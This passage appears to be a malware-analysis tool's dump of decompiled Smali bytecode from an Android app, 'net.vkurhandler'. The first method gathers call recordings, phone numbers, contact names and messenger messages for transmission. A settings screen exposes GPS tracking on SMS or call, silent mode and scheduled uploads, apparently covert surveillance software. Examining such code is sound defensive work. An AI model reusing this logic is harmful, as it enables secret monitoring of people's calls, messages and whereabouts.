                    234invoke-static/range {v18 .. v19}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    235move-result-object v24
                    236aput-object v24, v23, v13
                    237move-object/from16 v0, v17
                    238move-object/from16 v1, v23
                    240invoke-static {v0, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    241move-result-object v13
                    243invoke-static {v5, v13}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    244cond_153: const/4 v13, 0x1
                    245const/16 v5, 0xf
                    246move/from16 v0, v20
                    247if-ne v0, v5, :cond_204
                    248move-object/from16 v0, p0
                    250iget-object v5, v0, Lnet/vkurhandler/dg;->h:Landroid/content/SharedPreferences;
                    252const-string v17, "messenger_rt_gem4me_record_call"
                    253const/16 v23, 0x0
                    254move-object/from16 v0, v17
                    255move/from16 v1, v23
                    257invoke-interface {v5, v0, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    258move-result v5
                    259if-eqz v5, :cond_204
                    261invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    262try_start_16f: move-object/from16 v0, p0
                    264iget-object v5, v0, Lnet/vkurhandler/dg;->d:Landroid/content/Context;
                    266invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    267move-result-object v17
                    269invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    270move-result-object v23
                    272invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    273move-result-object v24
                    275const-string v5, "audiorecord_type"
                    276const/16 v25, 0x6
                    277move-object/from16 v0, v23
                    278move/from16 v1, v25
                    280invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    282const-string v5, "type"
                    283const/16 v25, 0x2
                    284move-object/from16 v0, v23
                    285move/from16 v1, v25
                    287invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    289const-string v5, "sub_type"
                    290const/16 v25, 0xb
                    291move-object/from16 v0, v23
                    292move/from16 v1, v25
                    294invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    296const-string v5, "date"
                    297const/16 v25, 0x1
                    298move/from16 v0, v25
                    299move-wide/from16 v1, v18
                    301invoke-static {v0, v1, v2}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    302move-result-object v25
                    303move-object/from16 v0, v23
                    304move-object/from16 v1, v25
                    306invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    308const-string v25, "call_type"
                    309if-eqz v12, :cond_326
                    310const/4 v5, 0x2
                    311goto_1b8: move-object/from16 v0, v23
                    312move-object/from16 v1, v25
                    314invoke-virtual {v0, v1, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    316const-string v5, "call_id"
                    317move-object/from16 v0, v23
                    319invoke-virtual {v0, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    321const-string v5, "phone_number"
                    322move-object/from16 v0, v23
                    324invoke-virtual {v0, v5, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    326const-string v5, "name"
                    327move-object/from16 v0, v23
                    329invoke-virtual {v0, v5, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    331const-string v5, "file_name"
                    333invoke-virtual/range {v24 .. v24}, Ljava/io/File;->getName()Ljava/lang/String;
                    334move-result-object v25
                    335move-object/from16 v0, v23
                    336move-object/from16 v1, v25
                    338invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    340const-string v5, "absolute_file_path"
                    342invoke-virtual/range {v24 .. v24}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    343move-result-object v24
                    344move-object/from16 v0, v23
                    345move-object/from16 v1, v24
                    347invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    349invoke-virtual/range {v17 .. v17}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    350move-result-object v5
                    351move-object/from16 v0, v23
                    353invoke-virtual {v5, v0}, Lnet/vkurhandler/v;->a(Lnet/vkurhandler/be;)V
                    354goto_1f7:
                    355invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dg;->l()Z
                    356move-result v5
                    357if-nez v5, :cond_329
                    359invoke-virtual/range {v17 .. v17}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    360move-result-object v5
                    362invoke-virtual {v5}, Lnet/vkurhandler/v;->c()V
                    363goto_204: const/16 v5, 0xf
                    364move/from16 v0, v20
                    365if-ne v0, v5, :cond_2a8
                    366try_start_20a: move-object/from16 v0, p0
                    368iget-object v5, v0, Lnet/vkurhandler/dg;->h:Landroid/content/SharedPreferences;
                    370const-string v17, "messenger_rt_gem4me_transmit_call"
                    371const/16 v23, 0x0
                    372move-object/from16 v0, v17
                    373move/from16 v1, v23
                    375invoke-interface {v5, v0, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    376move-result v5
                    377if-eqz v5, :cond_2a8
                    379invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    380move-result-object v17
                    382const-string v5, "type"
                    383const/16 v23, 0x1
                    384move-object/from16 v0, v17
                    385move/from16 v1, v23
                    387invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    389const-string v5, "sub_type"
                    390const/16 v23, 0x1a
                    391move-object/from16 v0, v17
                    392move/from16 v1, v23
                    394invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    396const-string v23, "call_type"
                    397if-eqz v12, :cond_35d
                    398const/4 v5, 0x2
                    399goto_23b: move-object/from16 v0, v17
                    400move-object/from16 v1, v23
                    402invoke-virtual {v0, v1, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    404const-string v5, "date"
                    405const/16 v23, 0x1
                    406move/from16 v0, v23
                    407move-wide/from16 v1, v18
                    409invoke-static {v0, v1, v2}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    410move-result-object v23
                    411move-object/from16 v0, v17
                    412move-object/from16 v1, v23
                    414invoke-virtual {v0, v5, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    416const-string v5, "phone_number"
                    417move-object/from16 v0, v17
                    419invoke-virtual {v0, v5, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    421const-string v5, "name"
                    422move-object/from16 v0, v17
                    424invoke-virtual {v0, v5, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    426const-string v5, "duration"
                    427move-object/from16 v0, v17
                    429invoke-virtual {v0, v5, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    431const-string v5, "call_id"
                    432move-object/from16 v0, v17
                    434invoke-virtual {v0, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    436const-string v5, "bat_level"
                    437move-object/from16 v0, p0
                    439iget-object v6, v0, Lnet/vkurhandler/dg;->d:Landroid/content/Context;
                    441invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    442move-result-object v6
                    444invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    445move-result-object v6
                    447invoke-virtual {v6}, Lnet/vkurhandler/ce;->a()I
                    448move-result v6
                    449move-object/from16 v0, v17
                    451invoke-virtual {v0, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    453const-string v5, "charger"
                    454move-object/from16 v0, p0
                    456iget-object v6, v0, Lnet/vkurhandler/dg;->d:Landroid/content/Context;
                    458invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    459move-result-object v6
                    461invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    462move-result-object v6
                    464invoke-virtual {v6}, Lnet/vkurhandler/ce;->b()Z
                    465move-result v6
                    466move-object/from16 v0, v17
                    468invoke-virtual {v0, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    469move-object/from16 v0, p0
                    471iget-object v5, v0, Lnet/vkurhandler/dg;->d:Landroid/content/Context;
                    472move-object/from16 v0, v17
                    474invoke-static {v5, v0}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    475cond_2a8: const/16 v5, 0xd
                    476move/from16 v0, v20
                    477if-ne v0, v5, :cond_306
                    478move-object/from16 v0, p0
                    480iget-object v5, v0, Lnet/vkurhandler/dg;->h:Landroid/content/SharedPreferences;
                    482const-string v6, "messenger_rt_gem4me"
                    483const/4 v7, 0x0
                    485invoke-interface {v5, v6, v7}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    486move-result v5
                    487if-eqz v5, :cond_306
                    488move-object/from16 v0, p0
                    489move-object/from16 v1, v21
                    490move-object/from16 v2, v22
                    492invoke-virtual {v0, v11, v1, v2}, Lnet/vkurhandler/dg;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    493move-result v5
                    494if-eqz v5, :cond_306
                    496invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    497move-result-object v5
                    499const-string v6, "type"
                    500const/4 v7, 0x1
                    502invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    504const-string v6, "sub_type"
                    505const/16 v7, 0x19
                    507invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    509const-string v6, "date"
                    510const/4 v7, 0x1
                    511move-wide/from16 v0, v18
                    513invoke-static {v7, v0, v1}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    514move-result-object v7
                    516invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    518const-string v6, "message"
                    520invoke-virtual {v5, v6, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    522const-string v6, "sender"
                    523move-object/from16 v0, v21
                    525invoke-virtual {v5, v6, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    527const-string v6, "peer"
                    528move-object/from16 v0, v22
                    530invoke-virtual {v5, v6, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    532const-string v6, "is_out"
                    534invoke-virtual {v5, v6, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    536const-string v6, "dialog_id"
                    537move-object/from16 v0, v16
                    539invoke-virtual {v5, v6, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    541invoke-static {v5}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    542try_end_306: move v5, v13
                    543goto/16 :goto_6b
                    544cond_309: const/4 v5, 0x0
                    545move v12, v5
                    546goto/16 :goto_bb
                    547cond_30d:
                    548const-string v17, "callerPhone"
                    549move-object/from16 v0, v17
                    551invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    552try_end_314: move-result-object v8
                    553goto/16 :goto_f8
                    554catch_317: move-exception v5
                    555try_start_318:
                    556const-string v17, "RTgem4me"
                    557move-object/from16 v0, v17
                    559invoke-static {v0, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    560cond_31f: move/from16 v26, v11
                    561move-object v11, v9
                    562move/from16 v9, v26
                    563goto/16 :goto_112
                    564cond_326: const/4 v5, 0x1
                    565goto/16 :goto_1b8
                    566cond_329: const-wide/16 v24, 0x3e8
                    567try_start_32b:
                    568invoke-static/range {v24 .. v25}, Lnet/vkurhandler/gn;->a(J)V
                    569try_end_32e: goto/16 :goto_1f7
                    570catch_330: move-exception v5
                    571try_start_331:
                    572const-string v17, "RTgem4me"
                    573move-object/from16 v0, v17
                    575invoke-static {v0, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    576try_end_338: goto/16 :goto_204
                    577catch_33a: move-exception v5
                    578move-object v6, v4
                    579move-object v4, v5
                    580move-object v5, v10
                    581try_start_33e:
                    582const-string v7, "RTgem4me"
                    584invoke-static {v7, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    585try_end_343: if-eqz v5, :cond_348
                    586try_start_345:
                    587invoke-interface {v5}, Landroid/database/Cursor;->close()V
                    588cond_348: if-eqz v6, :cond_9b
                    590invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    591move-result v4
                    592if-eqz v4, :cond_9b
                    594invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    595try_end_353: goto/16 :goto_9b
                    596catch_355: move-exception v4
                    598const-string v5, "RTgem4me"
                    600invoke-static {v5, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    601goto/16 :goto_9b
                    602cond_35d: const/4 v5, 0x1
                    603goto/16 :goto_23b
                    604catchall_360: move-exception v4
                    605move-object v10, v12
                    606goto_362: if-eqz v10, :cond_367
                    607try_start_364:
                    608invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    609cond_367: if-eqz v5, :cond_372
                    611invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    612move-result v6
                    613if-eqz v6, :cond_372
                    615invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    616cond_372: throw v4
                    617catch_373: move-exception v5
                    619const-string v6, "RTgem4me"
                    621invoke-static {v6, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    622goto/16 :goto_372
                    623catch_37a: move-exception v4
                    625const-string v5, "RTgem4me"
                    627invoke-static {v5, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    628goto/16 :goto_9b
                    629catchall_382: move-exception v5
                    630move-object v10, v12
                    631move-object/from16 v26, v5
                    632move-object v5, v4
                    633move-object/from16 v4, v26
                    634goto/16 :goto_362
                    635catchall_38a: move-exception v5
                    636move-object/from16 v26, v5
                    637move-object v5, v4
                    638move-object/from16 v4, v26
                    639goto/16 :goto_362
                    640catchall_391: move-exception v4
                    641move-object v10, v5
                    642move-object v5, v6
                    643goto/16 :goto_362
                    644catch_395: move-exception v4
                    645move-object v6, v5
                    646move-object v5, v12
                    647goto/16 :goto_33e
                    648catch_399: move-exception v5
                    649move-object v6, v4
                    650move-object v4, v5
                    651move-object v5, v12
                    652goto/16 :goto_33e
                    653cond_39e: move-object v10, v12
                    654goto/16 :goto_8b
                    Cross References
                    APIs
                    • android.app.ProgressDialog.<init>
                    • net.vkurhandler.SettingsExpertActivity.p:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setProgressStyle
                    • net.vkurhandler.SettingsExpertActivity.p:Landroid/app/ProgressDialog
                    • net.vkurhandler.SettingsExpertActivity.getString
                    • android.app.ProgressDialog.setMessage
                    • net.vkurhandler.SettingsExpertActivity.p:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setIndeterminate
                    • net.vkurhandler.SettingsExpertActivity.p:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCancelable
                    • net.vkurhandler.SettingsExpertActivity.p:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCanceledOnTouchOutside
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.g:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.g:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.d:Landroid/widget/EditText
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.e:Landroid/widget/EditText
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsExpertActivity.m:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.m:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.n:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.n:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.f:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.f:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.k:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.k:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.l:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.l:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.findViewById
                    • net.vkurhandler.SettingsExpertActivity.o:Landroid/widget/TimePicker
                    • java.lang.Boolean.valueOf
                    • android.widget.TimePicker.setIs24HourView
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • java.lang.String.split
                    • net.vkurhandler.SettingsExpertActivity.o:Landroid/widget/TimePicker
                    • java.lang.Integer.valueOf
                    • android.widget.TimePicker.setCurrentHour
                    • net.vkurhandler.SettingsExpertActivity.o:Landroid/widget/TimePicker
                    • java.lang.Integer.valueOf
                    • android.widget.TimePicker.setCurrentMinute
                    • net.vkurhandler.SettingsExpertActivity.h:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.h:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.i:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.i:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.j:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsExpertActivity.j:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsExpertActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsExpertActivity.i:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsExpertActivity.h:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsExpertActivity.j:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsExpertActivity.o:Landroid/widget/TimePicker
                    • android.widget.TimePicker.setEnabled
                    Strings
                    • use_gps_if_screen_on
                    • gps_search_timeout
                    • validity_location
                    • toggle_gps_on_sms
                    • toggle_gps_on_call
                    • send_media_only_wifi
                    • run_no_pwd
                    • silence_mode
                    • dispatch_schedule_time_send
                    • 03:00
                    • :
                    • dispatch_schedule_send_content
                    • dispatch_schedule_send_media
                    • dispatch_schedule_send_command
                    Position Instruction Meta Information
                    0const/4 v6, 0x1
                    1const/4 v5, 0x0
                    2const/4 v4, 0x0
                    3new-instance v0, Landroid/app/ProgressDialog;
                    5invoke-direct {v0, p0}, Landroid/app/ProgressDialog;-><init>(Landroid/content/Context;)V
                    6iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    8iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    10invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setProgressStyle(I)V
                    12iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    13const v1, 0x7f0600e4
                    15invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsExpertActivity;->getString(I)Ljava/lang/String;
                    16move-result-object v1
                    18invoke-virtual {v0, v1}, Landroid/app/ProgressDialog;->setMessage(Ljava/lang/CharSequence;)V
                    20iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    22invoke-virtual {v0, v6}, Landroid/app/ProgressDialog;->setIndeterminate(Z)V
                    24iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    26invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setCancelable(Z)V
                    28iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->p:Landroid/app/ProgressDialog;
                    30invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setCanceledOnTouchOutside(Z)V
                    31const v0, 0x7f0a0054
                    33invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    34move-result-object v0
                    35check-cast v0, Landroid/widget/CheckBox;
                    36iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->g:Landroid/widget/CheckBox;
                    37const v0, 0x7f0a0058
                    39invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    40move-result-object v0
                    41check-cast v0, Landroid/widget/CheckBox;
                    42iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->m:Landroid/widget/CheckBox;
                    43const v0, 0x7f0a0059
                    45invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    46move-result-object v0
                    47check-cast v0, Landroid/widget/CheckBox;
                    48iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->n:Landroid/widget/CheckBox;
                    49const v0, 0x7f0a00d6
                    51invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    52move-result-object v0
                    53check-cast v0, Landroid/widget/CheckBox;
                    54iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->f:Landroid/widget/CheckBox;
                    55const v0, 0x7f0a00d7
                    57invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    58move-result-object v0
                    59check-cast v0, Landroid/widget/CheckBox;
                    60iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->k:Landroid/widget/CheckBox;
                    61const v0, 0x7f0a00d8
                    63invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    64move-result-object v0
                    65check-cast v0, Landroid/widget/CheckBox;
                    66iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->l:Landroid/widget/CheckBox;
                    67const v0, 0x7f0a00da
                    69invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    70move-result-object v0
                    71check-cast v0, Landroid/widget/CheckBox;
                    72iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->h:Landroid/widget/CheckBox;
                    73const v0, 0x7f0a00db
                    75invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    76move-result-object v0
                    77check-cast v0, Landroid/widget/CheckBox;
                    78iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->i:Landroid/widget/CheckBox;
                    79const v0, 0x7f0a00dc
                    81invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    82move-result-object v0
                    83check-cast v0, Landroid/widget/CheckBox;
                    84iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->j:Landroid/widget/CheckBox;
                    86iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->g:Landroid/widget/CheckBox;
                    87new-instance v1, Lnet/vkurhandler/ft;
                    89const-string v2, "use_gps_if_screen_on"
                    91invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    93invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    95iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->g:Landroid/widget/CheckBox;
                    97iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    99const-string v2, "use_gps_if_screen_on"
                    101invoke-interface {v1, v2, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    102move-result v1
                    104invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    105const v0, 0x7f0a0056
                    107invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    108move-result-object v0
                    109check-cast v0, Landroid/widget/EditText;
                    110iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->d:Landroid/widget/EditText;
                    112iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->d:Landroid/widget/EditText;
                    114iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    116const-string v2, "gps_search_timeout"
                    117const/16 v3, 0x1e
                    119invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    120move-result v1
                    122invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    123move-result-object v1
                    125invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    126const v0, 0x7f0a0057
                    128invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    129move-result-object v0
                    130check-cast v0, Landroid/widget/EditText;
                    131iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->e:Landroid/widget/EditText;
                    133iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->e:Landroid/widget/EditText;
                    135iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    137const-string v2, "validity_location"
                    139invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    140move-result v1
                    142invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    143move-result-object v1
                    145invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    147iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->m:Landroid/widget/CheckBox;
                    148new-instance v1, Lnet/vkurhandler/ft;
                    150const-string v2, "toggle_gps_on_sms"
                    152invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
